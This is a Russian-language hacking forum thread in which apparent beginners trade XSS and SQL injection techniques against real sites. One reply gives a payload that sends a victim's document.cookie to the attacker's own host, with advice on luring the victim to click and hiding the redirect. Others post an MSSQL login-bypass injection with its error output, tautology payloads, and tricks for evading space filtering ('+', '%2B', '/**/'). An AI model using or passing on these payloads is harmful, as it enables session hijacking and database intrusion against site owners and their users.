Спасибо Попробую довести до победного конца =)

в этом деле новичок.
еще пока не научился использовать XSS но уже нашел парочку. может кому пригодится кто шарит в этом.


там в нескольких нужно вбивать в поля.
PS/ сильно не пинать я только учусь.

а чо там использвать - втавляй вместо alert('xss') такой код:

window.location.href='http://твой_сайт/s.gif?'+document.cookie;

где s.gif - твой снифер

и давай такую ссылку, чтобы он по ней тыцкнул тому, чьи куки хочешь поиметь

с перенаправлением галимо и палевно. Лучше создавать картинку посредством яваскрипт

Есть сервер с багнутым ПОСТ запросом.
Login, pwd.
Баг в первом варианте. Причем надо чтоб было хоть что - либо во втором.
Пример:

Login: ' or 1=(@@version)--
Pwd: kakawka

:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Incorrect syntax near the keyword 'or'.


Что посоветуете в данном вопросе? (чтоб вывело результат первого запроса)

У меня сейчас подобная проблема. При вводе вышеуказанной комбинации сервер отвечает:
Пробелы он не воспринимает. Как можно указать пробелы? Пытался

1'or'1'='1'
1)or(1)=(1)
1'or'1'='1
и т.д

Пробелы как таковые не нужны вообще

Аналоги ПРОБЕЛА:
+ или %2B

хм. +, либо еще /**/ бывает прокатывает